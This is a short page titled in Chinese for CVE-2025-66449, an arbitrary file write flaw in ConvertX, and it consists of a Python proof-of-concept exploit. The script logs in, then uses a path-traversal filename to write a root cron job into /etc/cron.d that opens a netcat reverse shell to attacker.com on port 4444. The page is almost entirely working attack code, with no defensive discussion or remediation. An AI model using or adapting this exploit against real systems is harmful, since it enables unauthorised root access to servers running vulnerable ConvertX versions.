CVE-2025-66449 | ConvertX 任意文件写入漏洞导致远程代码执行

import requests import os # CVE-2025-66449 PoC - ConvertX Arbitrary File Write # Target: ConvertX < 0.16.0 TARGET_URL = "http://target.com" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/login" UPLOAD_URL = f"{TARGET_URL}/upload" # Authentication credentials USERNAME = "attacker" PASSWORD = "password" def login(session): """Authenticate to ConvertX""" response = session.post(LOGIN_URL, json={ "username": USERNAME, "password": PASSWORD }) return response.status_code == 200 def upload_malicious_file(session, filename, content): """Upload arbitrary file with controlled filename""" files = { 'file': (filename, content, 'application/octet-stream') } response = session.post(UPLOAD_URL, files=files) return response.status_code == 200 def exploit(): """Exploit arbitrary file write to achieve RCE""" session = requests.Session() # Step 1: Login if not login(session): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Overwrite system binary (example: cron) # Path traversal to write to /etc/cron.d/ malicious_cron = "* * * * * root nc -e /bin/bash attacker.com 4444\n" filename = "../../../etc/cron.d/malicious" if upload_malicious_file(session, filename, malicious_cron): print(f"[+] Uploaded malicious file: {filename}") print("[+] Cron job will execute reverse shell") else: print("[-] File upload failed") return True if __name__ == "__main__": exploit()